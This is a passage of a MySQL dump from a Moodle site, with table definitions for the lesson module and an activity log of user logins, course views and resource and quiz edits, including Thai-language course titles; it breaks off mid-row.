  `lessonid` int(10) unsigned NOT NULL DEFAULT '0',
  `pageid` int(10) unsigned NOT NULL DEFAULT '0',
  `jumpto` int(11) NOT NULL DEFAULT '0',
  `grade` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `score` int(10) NOT NULL DEFAULT '0',
  `flags` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `answer` text COLLATE utf8_unicode_ci NOT NULL,
  `response` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  KEY `pageid` (`pageid`),
  KEY `lessonid` (`lessonid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines lesson_answers';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_lesson_answers`
--

LOCK TABLES `mdl_lesson_answers` WRITE;
/*!40000 ALTER TABLE `mdl_lesson_answers` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_lesson_answers` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_lesson_attempts`
--

DROP TABLE IF EXISTS `mdl_lesson_attempts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_lesson_attempts` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `lessonid` int(10) unsigned NOT NULL DEFAULT '0',
  `pageid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `answerid` int(10) unsigned NOT NULL DEFAULT '0',
  `retry` int(3) unsigned NOT NULL DEFAULT '0',
  `correct` int(10) unsigned NOT NULL DEFAULT '0',
  `useranswer` text COLLATE utf8_unicode_ci NOT NULL,
  `timeseen` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `userid` (`userid`),
  KEY `lessonid` (`lessonid`),
  KEY `pageid` (`pageid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines lesson_attempts';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_lesson_attempts`
--

LOCK TABLES `mdl_lesson_attempts` WRITE;
/*!40000 ALTER TABLE `mdl_lesson_attempts` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_lesson_attempts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_lesson_branch`
--

DROP TABLE IF EXISTS `mdl_lesson_branch`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_lesson_branch` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `lessonid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `pageid` int(10) unsigned NOT NULL DEFAULT '0',
  `retry` int(10) unsigned NOT NULL DEFAULT '0',
  `flag` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `timeseen` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_lesson_branch`
--

LOCK TABLES `mdl_lesson_branch` WRITE;
/*!40000 ALTER TABLE `mdl_lesson_branch` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_lesson_branch` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_lesson_default`
--

DROP TABLE IF EXISTS `mdl_lesson_default`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_lesson_default` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `practice` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `modattempts` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `usepassword` int(3) unsigned NOT NULL DEFAULT '0',
  `password` varchar(32) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `conditions` text COLLATE utf8_unicode_ci NOT NULL,
  `grade` tinyint(3) NOT NULL DEFAULT '0',
  `custom` int(3) unsigned NOT NULL DEFAULT '0',
  `ongoing` int(3) unsigned NOT NULL DEFAULT '0',
  `usemaxgrade` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `maxanswers` int(3) unsigned NOT NULL DEFAULT '4',
  `maxattempts` int(3) unsigned NOT NULL DEFAULT '5',
  `review` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `nextpagedefault` int(3) unsigned NOT NULL DEFAULT '0',
  `minquestions` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `maxpages` int(3) unsigned NOT NULL DEFAULT '0',
  `timed` int(3) unsigned NOT NULL DEFAULT '0',
  `maxtime` int(10) unsigned NOT NULL DEFAULT '0',
  `retake` int(3) unsigned NOT NULL DEFAULT '1',
  `mediaheight` int(10) unsigned NOT NULL DEFAULT '100',
  `mediawidth` int(10) unsigned NOT NULL DEFAULT '650',
  `mediaclose` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `slideshow` int(3) unsigned NOT NULL DEFAULT '0',
  `width` int(10) unsigned NOT NULL DEFAULT '640',
  `height` int(10) unsigned NOT NULL DEFAULT '480',
  `bgcolor` varchar(7) COLLATE utf8_unicode_ci DEFAULT '#FFFFFF',
  `displayleft` int(3) unsigned NOT NULL DEFAULT '0',
  `displayleftif` int(3) unsigned NOT NULL DEFAULT '0',
  `progressbar` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `highscores` int(3) unsigned NOT NULL DEFAULT '0',
  `maxhighscores` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines lesson_default';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_lesson_default`
--

LOCK TABLES `mdl_lesson_default` WRITE;
/*!40000 ALTER TABLE `mdl_lesson_default` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_lesson_default` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_lesson_grades`
--

DROP TABLE IF EXISTS `mdl_lesson_grades`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_lesson_grades` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `lessonid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `grade` float unsigned NOT NULL DEFAULT '0',
  `late` int(3) unsigned NOT NULL DEFAULT '0',
  `completed` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `lessonid` (`lessonid`),
  KEY `userid` (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines lesson_grades';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_lesson_grades`
--

LOCK TABLES `mdl_lesson_grades` WRITE;
/*!40000 ALTER TABLE `mdl_lesson_grades` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_lesson_grades` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_lesson_high_scores`
--

DROP TABLE IF EXISTS `mdl_lesson_high_scores`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_lesson_high_scores` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `lessonid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `gradeid` int(10) unsigned NOT NULL DEFAULT '0',
  `nickname` varchar(5) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_lesson_high_scores`
--

LOCK TABLES `mdl_lesson_high_scores` WRITE;
/*!40000 ALTER TABLE `mdl_lesson_high_scores` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_lesson_high_scores` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_lesson_pages`
--

DROP TABLE IF EXISTS `mdl_lesson_pages`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_lesson_pages` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `lessonid` int(10) unsigned NOT NULL DEFAULT '0',
  `prevpageid` int(10) unsigned NOT NULL DEFAULT '0',
  `nextpageid` int(10) unsigned NOT NULL DEFAULT '0',
  `qtype` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `qoption` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `layout` tinyint(3) unsigned NOT NULL DEFAULT '1',
  `display` tinyint(3) unsigned NOT NULL DEFAULT '1',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `title` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `contents` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  KEY `lessonid` (`lessonid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines lesson_pages';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_lesson_pages`
--

LOCK TABLES `mdl_lesson_pages` WRITE;
/*!40000 ALTER TABLE `mdl_lesson_pages` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_lesson_pages` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_lesson_timer`
--

DROP TABLE IF EXISTS `mdl_lesson_timer`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_lesson_timer` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `lessonid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `starttime` int(10) unsigned NOT NULL DEFAULT '0',
  `lessontime` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_lesson_timer`
--

LOCK TABLES `mdl_lesson_timer` WRITE;
/*!40000 ALTER TABLE `mdl_lesson_timer` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_lesson_timer` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_log`
--

DROP TABLE IF EXISTS `mdl_log`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_log` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `time` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `ip` varchar(15) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `module` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `cmid` int(10) unsigned NOT NULL DEFAULT '0',
  `action` varchar(40) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `url` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `info` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `timecoursemoduleaction` (`time`,`course`,`module`,`action`),
  KEY `coursemoduleaction` (`course`,`module`,`action`),
  KEY `courseuserid` (`course`,`userid`),
  KEY `userid` (`userid`),
  KEY `info` (`info`)
) ENGINE=MyISAM AUTO_INCREMENT=256 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Every action is logged as far as possible.';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_log`
--

LOCK TABLES `mdl_log` WRITE;
/*!40000 ALTER TABLE `mdl_log` DISABLE KEYS */;
INSERT INTO `mdl_log` VALUES (1,1473058034,2,'172.17.166.156',1,'user',0,'update','view.php?id=2&course=1',''),(2,1473058036,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(3,1473058041,2,'172.17.166.156',1,'user',0,'logout','view.php?id=2&course=1','2'),(4,1473058062,2,'172.17.166.156',1,'user',0,'login','view.php?id=2&course=1','2'),(5,1473058064,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(6,1473059104,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(7,1473069542,2,'172.17.166.156',1,'user',0,'logout','view.php?id=2&course=1','2'),(8,1473134804,2,'172.17.166.156',1,'user',0,'login','view.php?id=2&course=1','2'),(9,1473134806,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(10,1473135283,2,'172.17.166.156',1,'user',0,'view','view.php?id=2&course=1','2'),(11,1473136061,2,'172.17.166.156',1,'user',0,'update','view.php?id=3&course=1',''),(12,1473136085,2,'172.17.166.156',1,'forum',0,'user report','user.php?course=1&id=3&mode=posts','3'),(13,1473136089,2,'172.17.166.156',1,'blog',0,'view','index.php?filtertype=user&filterselect=3&postid=0&tagid=&tag=','view blog entry'),(14,1473136090,2,'172.17.166.156',1,'user',0,'view','view.php?id=3&course=1','3'),(15,1473136092,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(16,1473136118,2,'172.17.166.156',1,'user',0,'logout','view.php?id=2&course=1','2'),(17,1473136135,3,'172.17.166.156',1,'user',0,'login','view.php?id=3&course=1','3'),(18,1473136135,3,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(19,1473136144,3,'172.17.166.156',1,'user',0,'view','view.php?id=3&course=1','3'),(20,1473136150,3,'172.17.166.156',1,'forum',0,'user report','user.php?course=1&id=3&mode=posts','3'),(21,1473136152,3,'172.17.166.156',1,'blog',0,'view','index.php?filtertype=user&filterselect=3&postid=0&tagid=&tag=','view blog entry'),(22,1473136158,3,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(23,1473136165,3,'172.17.166.156',1,'user',0,'logout','view.php?id=3&course=1','3'),(24,1473136178,2,'172.17.166.156',1,'user',0,'login','view.php?id=2&course=1','2'),(25,1473136178,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(26,1473136232,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(27,1473136270,2,'172.17.166.156',1,'user',0,'update','view.php?id=4&course=1',''),(28,1473136307,2,'172.17.166.156',1,'user',0,'logout','view.php?id=2&course=1','2'),(29,1473136322,4,'172.17.166.156',1,'user',0,'login','view.php?id=4&course=1','4'),(30,1473136322,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(31,1473136843,4,'172.17.166.156',1,'course',0,'new','view.php?id=2','การสืบค้นทรัพยากรสารสนเทศ (ID 2)'),(32,1473136845,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(33,1473136848,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(34,1473136875,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(35,1473137160,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(36,1473137171,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(37,1473137227,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(38,1473137229,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(39,1473137361,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(40,1473137363,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(41,1473137390,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(42,1473137396,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(43,1473137410,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(44,1473137458,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(45,1473137496,4,'172.17.166.156',2,'course',0,'report log','report/log/index.php?id=2','2'),(46,1473137518,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(47,1473137537,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(48,1473137553,4,'172.17.166.156',2,'forum',0,'view forum','view.php?f=1','1'),(49,1473137573,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(50,1473137717,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(51,1473137719,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(52,1473137730,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(53,1473137734,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(54,1473137790,4,'172.17.166.156',1,'user',0,'logout','view.php?id=4&course=1','4'),(55,1473143121,4,'172.17.166.156',1,'user',0,'login','view.php?id=4&course=1','4'),(56,1473143122,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(57,1473143124,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(58,1473143145,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(59,1473143169,4,'172.17.166.156',2,'course',0,'editsection','editsection.php?id=1','0'),(60,1473143169,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(61,1473143359,4,'172.17.166.156',2,'course',0,'add mod','../mod/resource/view.php?id=2','resource 1'),(62,1473143359,4,'172.17.166.156',2,'resource',2,'add','view.php?id=2','1'),(63,1473143359,4,'172.17.166.156',2,'resource',2,'view','view.php?id=2','1'),(64,1473143387,4,'172.17.166.156',2,'course',0,'add mod','../mod/resource/view.php?id=3','resource 2'),(65,1473143387,4,'172.17.166.156',2,'resource',3,'add','view.php?id=3','2'),(66,1473143392,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(67,1473143400,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(68,1473143402,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(69,1473143405,4,'172.17.166.156',2,'resource',2,'view','view.php?id=2','1'),(70,1473143407,4,'172.17.166.156',2,'resource',3,'view','view.php?id=3','2'),(71,1473143417,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(72,1473143428,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(73,1473143431,4,'172.17.166.156',2,'course',2,'delete mod','view.php?id=2','resource 1'),(74,1473143431,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(75,1473143433,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(76,1473143434,4,'172.17.166.156',2,'resource',3,'view','view.php?id=3','2'),(77,1473143463,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(78,1473143464,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(79,1473143495,4,'172.17.166.156',2,'course',3,'delete mod','view.php?id=2','resource 2'),(80,1473143495,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(81,1473143522,4,'172.17.166.156',2,'course',0,'editsection','editsection.php?id=1','0'),(82,1473143522,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(83,1473143535,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(84,1473143537,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(85,1473143590,4,'172.17.166.156',2,'course',0,'update','edit.php?id=2',''),(86,1473143592,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(87,1473143595,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(88,1473143596,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(89,1473143605,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(90,1473143701,4,'172.17.166.156',2,'course',0,'add mod','../mod/resource/view.php?id=4','resource 3'),(91,1473143701,4,'172.17.166.156',2,'resource',4,'add','view.php?id=4','3'),(92,1473143706,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(93,1473143709,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(94,1473143710,4,'172.17.166.156',2,'resource',4,'view','view.php?id=4','3'),(95,1473143767,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(96,1473143777,4,'172.17.166.156',2,'course',0,'update','edit.php?id=2',''),(97,1473143779,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(98,1473143786,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(99,1473143814,4,'172.17.166.156',2,'course',0,'editsection','editsection.php?id=2','1'),(100,1473143814,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(101,1473143823,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(102,1473143844,4,'172.17.166.156',2,'course',0,'update mod','../mod/resource/view.php?id=4','resource 3'),(103,1473143844,4,'172.17.166.156',2,'resource',4,'update','view.php?id=4','3'),(104,1473143846,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(105,1473143858,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(106,1473143905,4,'172.17.166.156',2,'course',0,'add mod','../mod/resource/view.php?id=5','resource 4'),(107,1473143905,4,'172.17.166.156',2,'resource',5,'add','view.php?id=5','4'),(108,1473143907,4,'172.17.166.156',2,'resource',0,'view all','index.php?id=2',''),(109,1473143908,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(110,1473143932,4,'172.17.166.156',2,'course',0,'editsection','editsection.php?id=3','1'),(111,1473143933,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(112,1473143949,4,'172.17.166.156',2,'course',0,'update mod','../mod/resource/view.php?id=5','resource 4'),(113,1473143949,4,'172.17.166.156',2,'resource',5,'update','view.php?id=5','4'),(114,1473143951,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(115,1473143954,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(116,1473144036,4,'172.17.166.156',2,'course',0,'add mod','../mod/resource/view.php?id=6','resource 5'),(117,1473144036,4,'172.17.166.156',2,'resource',6,'add','view.php?id=6','5'),(118,1473144038,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(119,1473144058,4,'172.17.166.156',2,'course',0,'editsection','editsection.php?id=4','3'),(120,1473144059,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(121,1473144065,4,'172.17.166.156',2,'resource',6,'view','view.php?id=6','5'),(122,1473144136,4,'172.17.166.156',2,'course',0,'editsection','editsection.php?id=5','4'),(123,1473144136,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(124,1473144161,4,'172.17.166.156',2,'course',0,'add mod','../mod/resource/view.php?id=7','resource 6'),(125,1473144161,4,'172.17.166.156',2,'resource',7,'add','view.php?id=7','6'),(126,1473144163,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(127,1473144193,4,'172.17.166.156',2,'resource',7,'view','view.php?id=7','6'),(128,1473144220,4,'172.17.166.156',2,'course',0,'editsection','editsection.php?id=6','5'),(129,1473144220,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(130,1473144243,4,'172.17.166.156',2,'course',0,'add mod','../mod/resource/view.php?id=8','resource 7'),(131,1473144243,4,'172.17.166.156',2,'resource',8,'add','view.php?id=8','7'),(132,1473144245,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(133,1473144247,4,'172.17.166.156',2,'resource',8,'view','view.php?id=8','7'),(134,1473144330,4,'172.17.166.156',2,'course',0,'editsection','editsection.php?id=7','6'),(135,1473144330,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(136,1473144364,4,'172.17.166.156',2,'course',0,'add mod','../mod/resource/view.php?id=9','resource 8'),(137,1473144364,4,'172.17.166.156',2,'resource',9,'add','view.php?id=9','8'),(138,1473144366,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(139,1473144368,4,'172.17.166.156',2,'resource',9,'view','view.php?id=9','8'),(140,1473144393,4,'172.17.166.156',2,'course',0,'editsection','editsection.php?id=8','7'),(141,1473144393,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(142,1473144424,4,'172.17.166.156',2,'course',0,'add mod','../mod/resource/view.php?id=10','resource 9'),(143,1473144424,4,'172.17.166.156',2,'resource',10,'add','view.php?id=10','9'),(144,1473144425,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(145,1473144428,4,'172.17.166.156',2,'resource',10,'view','view.php?id=10','9'),(146,1473144431,4,'172.17.166.156',2,'resource',9,'view','view.php?id=9','8'),(147,1473144434,4,'172.17.166.156',2,'resource',8,'view','view.php?id=8','7'),(148,1473144437,4,'172.17.166.156',2,'resource',7,'view','view.php?id=7','6'),(149,1473144440,4,'172.17.166.156',2,'resource',6,'view','view.php?id=6','5'),(150,1473144442,4,'172.17.166.156',2,'resource',4,'view','view.php?id=4','3'),(151,1473144445,4,'172.17.166.156',2,'resource',5,'view','view.php?id=5','4'),(152,1473144474,4,'172.17.166.156',2,'course',0,'update','edit.php?id=2',''),(153,1473144475,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(154,1473144477,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(155,1473144480,4,'172.17.166.156',2,'forum',1,'view forum','view.php?id=1','2'),(156,1473144484,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(157,1473144500,4,'172.17.166.156',2,'course',0,'update','edit.php?id=2',''),(158,1473144501,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(159,1473144550,4,'172.17.166.156',2,'course',0,'update','edit.php?id=2',''),(160,1473144552,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(161,1473144558,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(162,1473144571,4,'172.17.166.156',2,'course',0,'editsection','editsection.php?id=9','8'),(163,1473144571,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(164,1473144586,4,'172.17.166.156',2,'course',0,'add mod','../mod/resource/view.php?id=11','resource 10'),(165,1473144586,4,'172.17.166.156',2,'resource',11,'add','view.php?id=11','10'),(166,1473144588,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(167,1473144590,4,'172.17.166.156',2,'resource',11,'view','view.php?id=11','10'),(168,1473144632,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(169,1473144640,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(170,1473144643,4,'172.17.166.156',2,'resource',5,'view','view.php?id=5','4'),(171,1473144656,4,'172.17.166.156',1,'user',0,'logout','view.php?id=4&course=1','4'),(172,1473144691,1,'172.17.166.156',1,'user',0,'login','view.php?id=1&course=1','1'),(173,1473144691,1,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(174,1473144737,4,'172.17.166.156',1,'user',0,'login','view.php?id=4&course=1','4'),(175,1473144737,4,'172.17.166.156',1,'user',0,'login','view.php?id=4&course=1','4'),(176,1473144737,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(177,1473144742,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(178,1473144745,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(179,1473144764,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(180,1473144767,4,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(181,1473144789,4,'172.17.166.156',2,'user',0,'view all','index.php?id=2',''),(182,1473144798,4,'172.17.166.156',1,'user',0,'logout','view.php?id=4&course=1','4'),(183,1473144805,2,'172.17.166.156',1,'user',0,'login','view.php?id=2&course=1','2'),(184,1473144810,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(185,1473144914,1,'172.17.166.156',1,'user',0,'login','view.php?id=1&course=1','1'),(186,1473144914,1,'172.17.166.156',2,'course',0,'view','view.php?id=2','2'),(187,1473144939,1,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(188,1473145089,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(189,1473145091,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(190,1473145093,4,'172.17.166.156',1,'user',0,'login','view.php?id=4&course=1','4'),(191,1473145094,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(192,1473145209,4,'172.17.166.156',1,'course',0,'new','view.php?id=3','การสืบค้นทรัพยากรสารสนเทศด้วยระบบ OPAC (ID 3)'),(193,1473145210,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(194,1473145213,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(195,1473145231,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(196,1473145277,4,'172.17.166.156',3,'course',0,'editsection','editsection.php?id=10','0'),(197,1473145277,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(198,1473145349,4,'172.17.166.156',3,'course',0,'add mod','../mod/quiz/view.php?id=13','quiz 1'),(199,1473145349,4,'172.17.166.156',3,'quiz',13,'add','view.php?id=13','1'),(200,1473145350,4,'172.17.166.156',3,'quiz',13,'editquestions','view.php?id=13','1'),(201,1473146103,4,'172.17.166.156',3,'quiz',13,'view','view.php?id=13','1'),(202,1473146106,4,'172.17.166.156',3,'quiz',0,'view 